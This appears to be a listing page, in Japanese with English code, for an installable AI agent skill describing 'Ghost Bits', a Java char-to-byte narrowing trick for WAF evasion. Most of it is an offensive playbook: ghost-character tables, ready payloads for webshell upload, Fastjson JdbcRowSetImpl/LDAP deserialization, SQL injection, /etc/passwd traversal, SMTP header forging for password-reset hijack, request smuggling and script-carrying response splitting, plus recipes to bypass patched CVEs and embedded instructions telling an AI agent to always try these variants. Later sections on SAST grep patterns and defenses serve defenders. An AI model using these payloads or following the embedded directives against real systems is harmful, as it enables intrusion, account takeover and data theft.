mcpField
G
ghost-bits-cast-attack

ghost-bits-cast-attack

github.com/yaklangセキュリティ2.6k3.3k 回インストール6 週間前に更新
リポジトリ

ghost-bits-cast-attack について

Javaのcharからbyteへの切り詰めを利用するGhost Bitsを解説するセキュリティスキルです。WAFが見る内容とバックエンドが解釈するバイト列の差を扱い、原因、影響コンポーネント、テストと防御の参考を示します。

主な機能

  1. 01Javaのcharからbyteへの切り詰めを解説
  2. 023種類の不具合要因を分類
  3. 03危険なバイトに対応するUnicode文字を掲載
  4. 04コンポーネント別のペイロード例
  5. 05WAF検出の指針

活用シーン

  1. 01Javaアプリで遮断されたペイロードの調査
  2. 02WAFとバックエンドの解析差の評価
  3. 03Javaコンポーネントの切り詰め動作の確認
  4. 04バイト変換を再現する検出ロジックの構築

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill ghost-bits-cast-attack

インストール後、Claude Code で/ghost-bits-cast-attackを入力して読み込まれたか確認します。

同梱ファイルPAYLOAD_COOKBOOK.md

詳細

スキル:Ghost Bits/Cast Attack — Java char から byte へのナローイング攻略ガイド

AI の読み込み指示:これは Java 専用のインジェクションを可能にするプリミティブであり、単独の脆弱性クラスではありません。(1)Java バックエンド、(2)その前段の WAF/IDS、(3)攻撃手段として {SQLi、デシリアライズ RCE、ファイルアップロード、パストラバーサル、CRLF、リクエストスマグリング、SMTP インジェクション} のいずれかがある場合は、「ブロックされた」と判断する前に、必ず Ghost Bits のペイロードの亜種を試してください。根本原因は、Java コードが 16 ビットの char を 8 ビットの byte にナローイングする際に、上位 8 ビットが気付かれないまま失われることです。WAF には無害な Unicode 文字に見えますが、バックエンドは元の ASCII 攻撃バイトを再構成します。ベースモデルがこのプリミティブを使うことはほとんどありません。

出典:Black Hat Asia 2026 の講演 Cast Attack: A New Threat Posed by Ghost Bits in Java。発表者は Xinyu Bai(@b1u3r)、Zhihui Chen(@1ue)、協力者は Zongzheng Zheng(@chun_springX)です。

0. 関連する攻撃手法

Ghost Bits は、多くの他の攻略ガイドのペイロードを再び有効にするバイパスプリミティブです。該当する攻撃の種類と組み合わせてください。

  • waf-bypass-techniques — Java バックエンドが疑われ、WAF のルールがリテラルなペイロードをブロックする場合、従来のエンコーディングに加えて最初に試すべき手法です。
  • deserialization-insecure — Apache Commons BCEL ClassLoader と Fastjson の \u/\x エスケープの亜種向けです。
  • path-traversal-lfi — Spring、Jetty、Undertow、Vert.x の URL デコードと %2> の 16 進数フォールディング向けです。
  • upload-insecure-files — Tomcat RFC2231Utility の filename* を使った Webshell アップロード向けです。
  • request-smuggling — Apache HttpClient <= 4.5.9(HTTPCLIENT-1974/1978)のヘッダー CRLF 向けです。
  • crlf-injection — Angus Mail/Jakarta Mail の SMTP インジェクションと JDK HttpServer のレスポンス分割向けです。
  • sqli-sql-injection — Jackson の charToHex テーブル参照の切り詰めにより、Unicode エスケープ内の SQL キーワードを隠す手法向けです。
高度なリファレンス

次の情報が必要な場合は、PAYLOAD_COOKBOOK.md を読み込んでください。

  • すべての印字可能 ASCII バイト 0x20–0x7E と、特に有用な制御バイト(0x00、0x09、0x0A、0x0D)を網羅した、バイトから Ghost 文字への完全な対応表。
  • コンポーネントごとの影響を受けるバージョン一覧とパッチ識別子。
  • Yaklang と Python のワンライナーペイロードジェネレーター(poc.HTTP、codec.Encode、raw socket 用)。
  • ブルーチーム向け WAF 検知の「マルチビュー正規化エンジン」の擬似コード。

1. 1 分で理解する基本モデル

Java の char は16 ビットの符号なし整数(UTF-16 コード単位)です。一方、ほとんどすべての通信プロトコル(HTTP/1.1、SMTP、Redis RESP、ファイルパス、raw バイトストリーム)は8 ビットのバイト指向です。両者をつなぐ正しい方法は、明示的な文字セットエンコーディングです。

// Correct: explicit UTF-8, multi-byte chars become multi-byte sequences
byte[] bytes = str.getBytes(StandardCharsets.UTF_8);
out.write(bytes);

大量のレガシーコード、フレームワーク内部の処理、「高速パス」最適化では、これを省略し、暗黙のうちにナローイングしています。

// Dangerous: high 8 bits silently dropped
byte b = (byte) ch;          // 0x966A -> 0x6A
out.write(ch);               // ByteArrayOutputStream.write(int) keeps low 8 bits
dos.writeBytes(str);         // DataOutputStream loops char->byte cast
int v = ch & 0xFF;           // explicit low-byte mask

失われた上位 8 ビットがGhost Bitsです。プロトコル層では、複数バイトの Unicode 文字が、攻撃者の選んだ 1 バイトの ASCII に変わります。

View A (string layer: WAF / business validation / logs)
  sees: 陪 阮 严 灵 瘍 瘊 ...   "harmless Unicode garbage, allow"
                  |
                  v       silent narrowing somewhere in the call stack
View B (byte layer: protocol / file system / parser / class loader)
  sees: j  .  %  u  \r \n ...  "executes the dangerous semantics"

The boundary is breached at the exact moment "view A" and "view B" disagree.

数式で表すと、View B にバイト T を認識させるには、k in 0x01..0xFF の任意の値を選び、次のように指定します。

c = chr((k << 8) | T)

これにより、危険なバイト 1 つにつき候補となる Unicode 文字が 255 個得られます。シグネチャベースのブラックリストを回避するには十分な数です。


2. 3 つの根本原因ファミリー

Ghost Bits には、根底にあるバグが 3 種類含まれます。それぞれを区別すると、送るべきペイロードの形式と、ソースコード内で検索すべき箇所の両方が分かります。

ファミリー A — 実際の上位ビット切り詰め(従来型 Ghost Bits)

ナローイングが文字どおり無条件に行われます。

// Pattern A1: explicit cast
byte b = (byte) ch;

// Pattern A2: bitwise mask
int v = ch & 0xFF;
int v = ch & 255;

// Pattern A3: OutputStream.write(int) keeps low 8 bits only
out.write(ch);
baos.write(ch);

// Pattern A4: DataOutputStream.writeBytes(String) iterates chars,
//             writing low byte of each
dos.writeBytes(str);

// Pattern A5: deprecated APIs that still exist in old code
String.getBytes(int srcBegin, int srcEnd, byte[] dst, int dstBegin);
new StringBufferInputStream(str);
raf.writeBytes(str);

典型的な影響:Tomcat filename*、Apache BCEL ClassLoader、Lettuce Redis writer、Angus Mail の SMTP CRLF、HTTPCLIENT-1974 のヘッダーインジェクション。

ファミリー B — ビット演算による折り畳み(不正な文字が有効な文字になる)

「高速」な hex/base64/文字セットデコーダーは、厳密な範囲チェックの代わりにビット演算を使うため、不正な文字が有効な文字に変換されます。

// Jetty TypeUtil.fromHexDigit (simplified)
private static int fromHexDigit(char c) {
    int x = c & 0x1F;          // keep low 5 bits
    x += (c >> 6) * 25;
    x -= 16;
    return x;                  // expected 0..15, but no range check
}

具体例:>(0x3E)を入力します。

0x3E & 0x1F = 0x1E = 30
(0x3E >> 6) * 25 = 0
30 + 0 - 16 = 14 = 0xE

つまり、%2> は気付かれないまま %2E = . として解析されます。同じ計算により、%2^、%2~ なども別の 16 進数の桁と同等になります。

典型的な影響:Openfire CVE-2023-32315、GeoServer CVE-2024-36401、一般的な URL デコードによる WAF バイパス。

ファミリー C — 緩やかな Unicode 正規化

デコーダーは、「数字」として分類される Unicode 文字や、& 0xFF のルックアップによって 16 進数の値に変換される Unicode 文字を受け入れます。これらの文字は、プロトコル解析に使われることを想定されていません。

// Fastjson: too permissive
Character.digit(c, 16);   // accepts Thai, Punjabi, fullwidth digits

// Jackson: index by low 8 bits into an ASCII-only table
return sHexValues[ch & 0xff];

// Generic: fullwidth normalization
// '2' (U+FF12) -> '2', 'e' (U+FF45) -> 'e'

典型的な影響:Fastjson の \u および \x エスケープのバイパス、全角文字を使った URL エンコード済みパストラバーサル、Jackson の charToHex を利用した SQLi の密輸。


3. 文字ジェネレーター

Ghost Bits の文字をその場で生成します。すべてのエージェントが覚えておくべき唯一の関数です。

# Python
def ghost(target_byte: int, k: int = 1) -> str:
    """Return a Unicode char whose low 8 bits equal target_byte."""
    return chr(((k & 0xFF) << 8) | (target_byte & 0xFF))

# 255 candidates per byte, e.g. for '.' (0x2E):
candidates = [ghost(0x2E, k) for k in range(1, 256)]
# 阮(U+962E), Ⱦ?-prefixed-..., etc.
// Yaklang (for poc.HTTP / fuzz)
func ghost(targetByte, k) {
    return string(rune(((k & 0xFF) << 8) | (targetByte & 0xFF)))
}
ghostJ = ghost(0x6A, 0x96)   // returns "陪"

選択時の指針:

  • サロゲート範囲 0xD800..0xDFFF(上位バイトが 0xD8..0xDF)の使用は避けてください。これらは有効なスカラー値ではなく、絞り込み箇所に到達する前に JVM の文字列デコーダーによって置き換えられ、バイパスが成立しなくなります。
  • アプリケーション独自の文字セットでの往復変換後も維持される文字(Latin-Extended、CJK Unified Ideographs、Enclosed CJK Letters and Months、Hangul)を優先してください。リクエスト本文で UTF-8 を使う場合、これらはすべてマルチバイトシーケンスとして正しくエンコードされ、WAF ルールが .、/、j などとして認識することはありません。
  • 署名ベースの学習によって、単一の文字が単一の攻撃に結び付けられないよう、リクエストごとに k を変えてください。

4. 危険なバイトからゴースト文字へのマップ

コンパクトなレッドチーム向け武器化テーブルです。攻撃者が実際に必要とするバイトごとに、検証済みの Unicode 文字を 1 つ示します。WAF が後にこの例を学習した場合は、別の k に置き換えてください。

対象バイト16 進数用途ゴースト文字コードポイント
\t0x09ヘッダーの折り返し、パーサーの混乱ĉU+0109
\n0x0ACRLF インジェクション、ログインジェクション瘊U+760A
\r0x0DCRLF インジェクション、リクエストスマグリング瘍U+760D
0x20ヘッダー区切り、コマンド区切り文字ĠU+0120
"0x22JSON/quoted-printable の文字列区切りĢU+0122
%0x25URL エンコードの接頭辞、2 回目のデコード严U+4E25
&0x26パラメーター区切りȦU+0226
'0x27SQL 文字列区切りȧU+0227
(0x28EL/SpEL/OGNL の構文ȨU+0228
)0x29EL/SpEL/OGNL の構文ȩU+0229
.0x2Eパストラバーサル、拡張子阮U+962E
/0x2Fパス区切り文字丯U+4E2F
00x3016 進数の桁の構成丰U+4E30
10x3116 進数の桁の構成失U+5931
20x3216 進数の桁の構成甲U+7532
30x3316 進数の桁の構成耳U+8033
;0x3Bコマンド区切り文字、ヘッダー継続ȻU+023B
<0x3CXSS/XML タグの開始ȼU+023C
=0x3Dパラメーター/ヘッダー値ȽU+023D
>0x3EXSS/XML タグの終了ȾU+023E
@0x40Fastjson の @type、メールアドレスŀU+0140
a0x61キーワード class、アルファベットᙡU+1661
c0x63キーワード class、cmd㹣U+3E63
e0x6516 進数の桁来U+6765
j0x6A拡張子 .jsp陪U+966A
l0x6Cキーワード class、closure౬U+0C6C
n0x6Eキーワード Runtime、union陮U+966E
s0x73キーワード class、select⑳U+2473
t0x74キーワード Runtime、typeŴU+0174
u0x75\u エスケープの導入子灵U+7075

ワークフローのヒント:HTTP ヘッダーのように制約の厳しいコンテキストでは ASCII の Ŀ、ȧ、ȼ などのバリアントを使用してください(UTF-8 で 1 バイトから拡張されるサイズが小さくなります)。WAF の「これは単なるテキスト」という分類に傾かせたい場合は、阮、陪、严 のような CJK 文字を使用してください。


5. コンポーネント別ペイロードのレシピ

各レシピでは、WAF が検査する内容とバックエンドが実際に実行する内容という、2 つの表示を示します。これが、ペイロードが通過する理由を説明する唯一の確実な方法です。

5.1 Tomcat RFC2231Utility — ファイルアップロードによる Webshell(ファミリー A)

トリガー: マルチパートアップロードを受け付け、Tomcat が Content-Disposition: ... filename*=UTF-8''... を解析する任意のエンドポイント。Tomcat の RFC2231 デコーダーは パーセントエンコードされていない各文字を直接 byte にキャストし、上位 8 ビットを切り捨てます。

ペイロード:

Content-Disposition: attachment; filename*=UTF-8''1.陪sp
段階認識されるファイル名
WAF / 拡張子フィルター1.陪sp(.jsp ではないため許可)
Tomcat RFC2231 デコーダー陪 -> 下位バイト 0x6A -> j
ファイルシステム1.jsp

アップロード先ディレクトリが固定されているものの、アプリケーションが filename* を受け付ける場合は、 セクション 4 のトラバーサル文字(阮、丯)と組み合わせてください。

5.2 Apache Commons BCEL — ClassLoader RCE(ファミリー A)

トリガー: BCEL($$BCEL$$...)を通じてクラス名を解決する任意のシンク、 または JavaReader -> ByteArrayOutputStream ループを介して BCEL をデコードする任意のコード。

脆弱な形:

ByteArrayOutputStream bos = new ByteArrayOutputStream();
JavaReader jr = new JavaReader(new CharArrayReader(userChars));
while ((ch = jr.read()) >= 0) {
    bos.write(ch);     // low 8 bits only
}

攻撃: 悪意のある BCEL バイトコードの各バイトを、そのバイトと下位 8 ビットが等しい Unicode 文字にラップします。デコードされたバイトストリームは有効な BCEL クラスとなり、 WAF には $$BCEL$$ キーワードやクラスシグネチャを含まない長大な CJK テキストの塊として見えます。

視点内容
WAF$$BCEL$$ に続いてランダムに見える CJK
BCEL標準的な BCEL クラスファイルのバイト列 → JVM defineClass → RCE

ブルーチーム向けの防御: BCEL を検査する WAF は、パターンマッチングの前に 各文字に対して bos.write(ch) のセマンティクスを再現する必要があります。

5.3 Jackson charToHex — SQLi スマグリング(ファミリー C)

トリガー: Jackson が解析した JSON フィールドの値が、その後 SQL や別のパーサーに 埋め込まれる任意のケース。Jackson は \uXXXX の桁を次のように解決します:

private static final int[] sHexValues = new int[128];
public static int charToHex(int ch) {
    return sHexValues[ch & 0xFF];   // mask first, lookup second
}

下位 8 ビットが有効なインデックスに該当する任意の非 ASCII 文字は、 その 16 進数の桁を返します。WAF には意味不明な文字列が見え、Jackson は ASCII ペイロードを再構築します。

ペイロード(UNION のカラム数のために桁 1 をスマグリングする):

{"q": "\u丰丰耳失 union select 1,2,3 -- "}
視点内容
WAF\u丰丰耳失 union select ...(先頭に桁がない)
Jackson\u0031 union select 1,2,3-- -> 1 union select…

下流の UNION / ブールベース / 時間ベースのペイロードテンプレートについては、 sqli-sql-injection と組み合わせてください。

5.4 Fastjson — \u および \x エスケープバイパス(ファミリー B + C)

2 つの独立した攻撃面:

(a) \u エスケープ — Character.digit(c, 16) は ASCII を超える Unicode 数字カテゴリを 受け入れます(タイ語 ๐-๙ U+0E50..U+0E59、パンジャブ語 ੦-੯ U+0A66..U+0A6F、 全角 0-9 U+FF10..U+FF19)。

{"\u4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}

WAF からの見え方: \u4_type(@type リテラルがない)。Fastjson は全角の 4 を 4 に正規化し、その後 _ を下記の \x ショートカットで処理して、@type を生成します。

(b) \x エスケープ — Fastjson は digits[x1] * 16 + digits[x2] を計算します。 不正な 16 進文字はデフォルト値 0 を返します。

\x4_   ->   '4'(=4) * 16 + '_'(=0) = 0x40 = '@'
{"\x4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}
視点フィールド名
WAF\x4_type(@type ではない)
Fastjson@type -> JdbcRowSetImpl autotype ガジェットが発動
5.5 Spring / Jetty / Undertow / Vert.x — URL デコード(ファミリー A + B)

組み合わせ可能な 2 つのトリック:

トリック 1 — パスまたはクエリにおけるファミリー A の文字置換:

/api/v1/data?file=阮丯阮丯etc丯passwd
                = ../../etc/passwd at the byte layer

トリック 2 — Jetty の TypeUtil.fromHexDigit がチェーンに含まれる場合の ファミリー B の %2> 折りたたみ:

/setup/setup-s/%2>%2>/log.jsp
                = /setup/setup-s/../log.jsp after decode

どちらか単独でもほとんどのシグネチャベース WAF をバイパスし、組み合わせれば ASCII のパーセント 3 文字組しか見ない「正規化後にマッチング」するルールさえも生き残ります。

Spring CVE-2025-41242 のチェーン(StringUtils.uriDecode は PR #34673 で修正済み):

input :  阮严灵丰丰甲来
       (.)(%)(u)(0)(0)(2)(e)
narrow:  .%u002e
decode:  ..
result:  arbitrary file read via path traversal
段階パス
Spring isInvalidPath().%u002e — リテラルの .. がないため許可
バックエンドのファイル解決%u002e デコード後に .. → トラバーサル
5.6 Angus Mail / Jakarta Mail — SMTP インジェクション(ファミリー A)

トリガー:ユーザーが制御する文字列から SMTP エンベロープまたはヘッダーを構築するアプリケーションです。内部の ASCIIUtility は次の処理を行います。

byte b = (byte) ch;           // 16-bit char silently narrowed

瘍瘊 で CRLF を密輸します。

[email protected]瘍瘊Subject: Password reset code瘍瘊To: [email protected]瘍瘊瘍瘊Your code is 1234
表示解析される内容
アプリケーションの検証奇妙な CJK を含む単一の From 値
SMTP サーバー完全に偽装された、5 つの個別のヘッダー行と本文

実際の影響パターン:Jira 型(CVE-2025-57733)のパスワードリセット乗っ取り、Confluence のドメイン許可リストの回避です。メール以外で CRLF を再利用する場合は、crlf-injection と組み合わせてください。

5.7 Apache HttpClient <= 4.5.9 — リクエストスマグリング(ファミリー A)

HTTPCLIENT-1974 / HTTPCLIENT-1978:ヘッダー値は OutputStreamWriter を通過した後、狭い型へのキャストを伴う書き込みによって、\u760D\u760A に対して生の \r\n を出力します。

X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1
ホップ認識される内容
フロントプロキシ / WAF長い X-Auth-Token を含む 1 つのリクエスト
オリジン2 つのリクエスト。2 つ目は管理者用 POST

デシンクが確認された後の選択プレフィックス攻撃については、request-smuggling を参照してください。

5.8 JDK HttpServer — レスポンス分割(CVE-2026-21933、ファミリー A)

ユーザー入力をレスポンスヘッダーに反映すると、各文字を下位バイトにキャストする com.sun.net.httpserver のライターを通過します。

ペイロード(URL パラメーターまたは上流ヘッダー):

Custom: Cu瘍瘊Content-Type: text/html瘍瘊Content-Length: 33瘍瘊瘍瘊<script>alert(1)</script>

サーバーは論理的に 2 つのレスポンスを出力し、2 つ目には攻撃者が選択した本文が含まれます。保存型 XSS、キャッシュポイズニング、SSO リダイレクトチェーンへと発展します。

5.9 その他の影響を受けるコンポーネント

同じファミリー A のプリミティブを、異なるシンクで利用します。

  • Lettuce(Redis クライアント) — \r\n を RESP フレームに密輸するコマンドインジェクションです。CONFIG SET dir + SAVE につなげると、SSRF から RCE に至ります。
  • Jodd FileNameUtil — 内部の書き込みループが狭い型に変換するため、阮 と 丯 を介したパストラバーサルです。
  • XMLWriter — 属性またはテキストノードの値が下位バイトライターを通る際のタグ名インジェクションです。XXE / XSS への転用が可能です。
  • ActiveJ HTTP — 5.7 / 5.8 と同じ形式の CRLF インジェクションです。
  • Vert.x HTTP body parser — MultipartParser におけるファミリー A です。

影響を受けるバージョンの一覧と、コンポーネントごとの完全なペイロードのひな形については、PAYLOAD_COOKBOOK.md を参照してください。


6. 既知の CVE を回避するレシピ

対応する CVE にパッチが適用済みで、なおかつサービスの前段に WAF がある場合に限り、これらをそのまま使用してください。以下の各ペイロードは、元の ASCII 攻撃を、文字列ベースの WAF ルールをすり抜ける形式に変換します。

Openfire CVE-2023-32315 — 認証回避(ファミリー B)

公開されている元の回避方法:

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

Ghost Bits / %2> 折りたたみ回避(シグネチャーで検出するのがはるかに困難):

GET /setup/setup-s/%2>%2>/%2>%2>/log.jsp

各 %2> は Jetty の緩い 16 進数処理によって %2E = . に折りたたまれ、WAF に .. や %2e を一度も出力することなく、同じ ../../ のトラバーサルを実現します。

GeoServer CVE-2024-36401 — Runtime キーワードを介した RCE(ファミリー B)

公開されている WAF ルールでは、通常 Runtime をブロックします。折りたたまれる文字を 1 つ注入します。

Ru%6>time

デコーダーの処理:%6> -> %6E -> n。式評価器は Runtime を認識しますが、WAF は認識しません。

Spring4Shell CVE-2022-22965 — クラスローダーチェーン(ファミリー A)

必須のパラメータープレフィックスは class.module.classLoader... です。WAF はリテラルの class をブロックします。下位バイト文字に置き換えます。

Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader.resources..."
コンポーネント文字コードポイント下位バイト
c㹣U+3E630x63
l౬U+0C6C0x6C
aᙡU+16610x61
s⑳U+24730x73
s⑳U+24730x73

Spring のパラメーター名リゾルバーは、狭い型への変換で class に戻します。

Spring CVE-2025-41242 — 任意のファイル読み取り(ファミリー A とファミリー B の組み合わせ)

上記の 5.5 ですでに説明しています。ペイロード 阮严灵丰丰甲来 -> .%u002e -> 検証後のデコードによって .. になります。

Jakarta Mail CVE-2025-57733 — Jira 風メール乗っ取り(ファミリー A)
[email protected]瘍瘊Subject: Reset code瘍瘊To: [email protected]瘍瘊瘍瘊Your code is 1234

メールは有効な SPF/DKIM/DMARC を伴って会社の SMTP サーバーから送信されますが、 To: と Subject: は攻撃者が指定した内容になっており、非常に精巧なフィッシングが可能です。


7. 検出の判断ツリー

対象をトリアージする際に使用してください。Ghost Bits が役に立たない場合に使うのを避け、 前提条件を満たしている場合は必ず試すことが目的です。

Is the backend Java? (Server header, error page, JSESSIONID, .do/.action,
                      WebGoat-style stack trace, X-Powered-By, X-Frame-Options
                      with Tomcat default values)
├── No  -> stop, Ghost Bits does not apply
└── Yes
    │
    ├── Is there a WAF / IDS or input filter blocking your literal payload?
    │   ├── No  -> use the literal payload; Ghost Bits is overkill
    │   └── Yes -> continue
    │
    ├── Which sink are you targeting?
    │   ├── File upload via multipart  -> recipe 5.1 (Tomcat filename*)
    │   ├── JSON deserialization       -> recipes 5.3 (Jackson) / 5.4 (Fastjson)
    │   ├── Class loader / BCEL ref    -> recipe 5.2
    │   ├── URL path / parameter       -> recipe 5.5 + Family B `%2>`
    │   ├── Header reflection          -> recipes 5.7 / 5.8
    │   ├── Mail send                  -> recipe 5.6
    │   └── Redis / RESP / XML / RPC   -> recipe 5.9
    │
    ├── Probe with a single non-destructive substitution first
    │   (replace ONE character with its Ghost variant; observe response
    │    diff: status code, length, header echo, error message, time)
    │
    └── If observable difference appears -> escalate by substituting all
                                            blocked characters and chain
                                            through the linked playbook.

8. SAST/コード監査シグネチャ

Java のソースコードをレビューする際に使用する、優先度別の 3 つのティアです。プロジェクト内のすべての リポジトリ、シェーディング可能なすべての依存関係、デプロイ済みアプライアンスの lib/ を検索してください。

ティア 1 — 直接的な絞り込み(ファミリー A)
\(byte\)\s*\w+
&\s*0[xX][fF][fF]
&\s*255
\.write\(\s*[a-zA-Z_]\w*\s*\)         # OutputStream.write(int)
writeBytes\s*\(
StringBufferInputStream
String\.getBytes\s*\(\s*int
RandomAccessFile.*writeBytes
ティア 2 — 緩い 16 進数/数字のデコード(ファミリー B + C)
Character\.digit\s*\(
fromHexDigit
convertHexDigit
fromHex\s*\(
uriDecode
URLDecoder\.decode
sHexValues\[
& 0x1F\)\s*\+\s*\(.*>>.*\) \* 25
ティア 3 — 高リスクのラッパーと到達可能性
RFC2231                # Tomcat / mail filename* parsing
JavaReader             # BCEL ClassLoader reachable
ASCIIUtility           # Jakarta Mail / Angus Mail
LineParser             # HttpClient header parser
ChunkedDecoder         # request smuggling adjacent
charToHex              # Jackson
encodeUTF8             # candidate for char->byte writer

検出結果ごとのトリアージでは、5 次元リスクモデルを適用します。

次元リスクが高まる条件
入力の制御HTTP パラメーター、ヘッダー、ファイル名、JSON キー、メールアドレス
検証絞り込み箇所より前に拒否/許可リストが適用されている
絞り込みの時点セキュリティチェックの後に変換が行われる
構文の対象結果が URL/SMTP/HTTP/Redis/ファイルシステム/SQL の文法に入る
再デコードBase64、URL デコード、JSON のエスケープ解除、%u などが後で行われる

リスクの計算式:

attacker-controlled  +  check-before-narrow  +  result-in-protocol-syntax
                                              +  later-redecoding
                              = HIGH SEVERITY

9. 差分テストのワークフロー

新しい Ghost Bits のシンクを見つける(レッドチーム)、または修正を検証する(ブルーチーム)ための、 再現可能なブラックボックス手順です。

1. Pick one dangerous byte T at a time (e.g. 0x2E for '.').

2. Generate the candidate set:
       C = { chr((k << 8) | T) for k in 1..255 }
   Drop surrogates 0xD8XX..0xDFXX.

3. For each candidate c in C:
       a. Send a benign request with c at the chosen position.
       b. Send the same request with literal T at the same position.
       c. Compare four observables:
            - status code
            - response body length
            - response body content hash (or diff)
            - server-side log line (if available)

4. If any candidate produces a response equivalent to T but differs from a
   "neutral" character (e.g. 'X'), you have found a narrowing sink.

5. Repeat for the next T in your priority list:
       0x2E ('.'), 0x2F ('/'), 0x25 ('%'), 0x40 ('@'),
       0x0D ('\r'), 0x0A ('\n'), 0x6A ('j'), 0x73 ('s'),
       0x6C ('l'), 0x61 ('a'), 0x63 ('c'), 0x22 ('"'), 0x27 (''')

6. Cluster sinks by component (response Server header, error stack) — one
   sink usually implies the whole framework version is vulnerable.

このワークフローは意図的にプロトコルに依存しない設計です。同じループを、 ファイルアップローダー、検索エンドポイント、メール作成機能、Redis を利用するキャッシュに適用できます。


10. 防御に関する認識

5 つのレイヤーすべてが必要です。どれか 1 つだけでは回避される可能性があります。

レイヤー対応
ソースコード手書きの (byte) ch、& 0xFF、out.write(ch)、writeBytes を禁止します。getBytes(StandardCharsets.UTF_8) またはプロトコルフィールド用の厳格な ASCII 許可リストを使用します。
デコーダー不正な入力を拒否します。不明な 16 進数/Unicode 数字/Base64 文字を 0 または下位 8 ビットに変換するデフォルト処理は行わないでください。
検証の順序常に正規化してから検証します。具体的には、厳格なデコード → Unicode NFC/NFKC → プロトコルの正規化(URL の .. 解決、File.getCanonicalPath)→ セキュリティチェック → 実行、の順にします。
プロトコルフィールドフィールドごとに厳格な許可リストを使用します(HTTP ヘッダー値、SMTP エンベロープ、URL パス、ファイル名、JSON キー、XML タグ)。ヘッダーまたはアドレス内の CR/LF は拒否します。
WAF/IDSマルチビューの正規化を実行します。元の文字列、(char) & 0xFF のビュー、URL デコード後のビュー、Unicode-NFKC のビューを常に検査します。いずれかのビューに、元の文字列にはなかった危険な意味が含まれている場合は警告します。

ブルーチーム向けの確認ポイント:

  • プロトコル文法上 ASCII が想定される位置(ファイル名、ヘッダー値、メールアドレス)に、 CJK/Latin 拡張文字が含まれているログ。
  • リクエストの HEX ダンプで、プロトコル区切り文字の隣に 0x20..0x7E の範囲外のバイトが含まれている。
  • ペンテストやスキャナーで「奇妙な 200」が報告されたにもかかわらず、セキュリティ監視が検知していない場合 — Java スタックでは、2025〜2026 年にこのパターンを引き起こす最も一般的な原因が Ghost Bits です。

11. クイックリファレンス — 主なペイロード

# Ghost char generator
ghost(T, k) = chr(((k & 0xFF) << 8) | (T & 0xFF))     # avoid k in 0xD8..0xDF

# Tomcat filename* webshell upload
Content-Disposition: attachment; filename*="UTF-8''shell.陪sp"     # → shell.jsp

# BCEL ClassLoader bypass (concept)
$$BCEL$$<each-byte-of-class-file-wrapped-in-a-Unicode-char>

# Jackson SQLi smuggling
{"q":"\u丰丰耳失 union select 1,2,3-- "}                          # → "1 union select…"

# Fastjson @type smuggling
{"\x4_type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x"}

# Spring URL decode + Jetty %2> folding
GET /api/data?file=阮丯阮丯etc丯passwd
GET /setup/setup-s/%2>%2>/log.jsp
GET /api?cmd=Ru%6>time

# Spring4Shell name* class smuggling
Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader..."

# Spring CVE-2025-41242 path read
GET /resources/阮严灵丰丰甲来/secret.properties                    # → ../%u002e

# Angus Mail / Jira mail hijack
From: [email protected]瘍瘊Subject: Reset瘍瘊To: [email protected]瘍瘊瘍瘊Your code is 1234

# Apache HttpClient ≤4.5.9 smuggling
X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1

# JDK HttpServer response splitting (CVE-2026-21933)
?ref=Cu瘍瘊Content-Type:text/html瘍瘊Content-Length:33瘍瘊瘍瘊<script>alert(1)</script>

# SAST first-pass grep
grep -RnE '\(byte\)\s*\w+|& 0[xX][fF][fF]|writeBytes|baos\.write\(\w+\)' src/
grep -RnE 'Character\.digit|fromHexDigit|charToHex|uriDecode' src/

参考資料

  • Black Hat Asia 2026 — Cast Attack: Java の Ghost Bits がもたらす新たな脅威。登壇者:Xinyu Bai (@b1u3r / @iSafeBlue)、Zhihui Chen (@1ue)。 貢献者:Zongzheng Zheng (@chun_springX)。
  • 実環境の CVE が再び悪用可能になりました:GeoServer CVE-2024-36401、Spring4Shell CVE-2022-22965、Openfire CVE-2023-32315、Spring CVE-2025-41242、Jakarta Mail CVE-2025-57733、JDK HttpServer CVE-2026-21933、Apache HttpClient HTTPCLIENT-1974 / HTTPCLIENT-1978。
  • アップグレード先となる修正済みコンポーネント:Apache Commons BCEL >= 6.12.0、 Fastjson 2.x の最新バージョン、Apache HttpClient >= 4.5.10(または 5.x へ移行)、 GeoServer >= 2.28.3、Openfire >= 5.0.4。単一のバージョン番号だけを信頼する前に、 ベンダーのアドバイザリーを確認してください。

コメント